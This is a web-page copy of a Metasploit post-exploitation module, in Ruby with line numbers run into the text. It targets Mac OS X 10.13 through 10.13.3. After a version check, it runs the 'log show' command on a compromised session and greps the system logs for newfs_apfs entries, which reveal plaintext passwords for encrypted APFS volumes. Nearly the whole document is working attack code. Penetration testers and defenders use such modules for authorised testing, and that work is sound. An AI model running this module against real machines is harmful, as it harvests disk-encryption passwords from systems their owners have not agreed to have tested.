Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4class MetasploitModule < Msf::Post56def initialize(info = {})7super(8update_info(9info,10'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure',11'Description' => %q{12This module exploits a flaw in OSX 10.13 through 10.13.313that discloses the passwords of encrypted APFS volumes.1415In OSX a normal user can use the 'log' command to view the system16logs. In OSX 10.13 to 10.13.2 when a user creates an encrypted APFS17volume the password is visible in plaintext within these logs.18},19'License' => MSF_LICENSE,20'References' => [21[ 'URL', 'https://thehackernews.com/2018/03/macos-apfs-password.html' ],22[ 'URL', 'https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp' ]23],24'Platform' => 'osx',25'Arch' => ARCH_ALL,26'Author' => [27'Sarah Edwards', # earliest public discovery28'cbrnrd' # Metasploit module29],30'SessionTypes' => [ 'shell', 'meterpreter' ],31'DisclosureDate' => '2018-03-21'32)33)34register_options([35# The command doesn't give volume names, only mount paths (current or previous)36OptString.new('MOUNT_PATH', [false, 'The mount path of the volume to get the password of (Leave blank for all)', ''])37])38end3940def check41osx_version = cmd_exec('sw_vers -productVersion')42return Exploit::CheckCode::Vulnerable if osx_version =~ /^10\.13[.[0-3]]?$/4344Exploit::CheckCode::Safe45end4647def run48if check == Exploit::CheckCode::Safe49print_error 'This version of OSX is not vulnerable'50return51end52cmd = "log show --info --predicate 'eventMessage contains \"newfs_\"'"53cmd << " | grep #{datastore['MOUNT_PATH']}" unless datastore['MOUNT_PATH'].empty?54vprint_status "Running \"#{cmd}\" on target..."55results = cmd_exec(cmd)56vprint_status "Target results:\n#{results}"57if results.empty?58print_error 'Got no response from target. Stopping...'59else60successful_lines = 061results.lines.each do |l|62next unless l =~ /newfs_apfs(.*)-S(.*)$/6364print_good "APFS command found: #{::Regexp.last_match(0)}"65successful_lines += 166end67print_error 'No password(s) found for any volumes. Exiting...' if successful_lines.zero?68end69end70end717273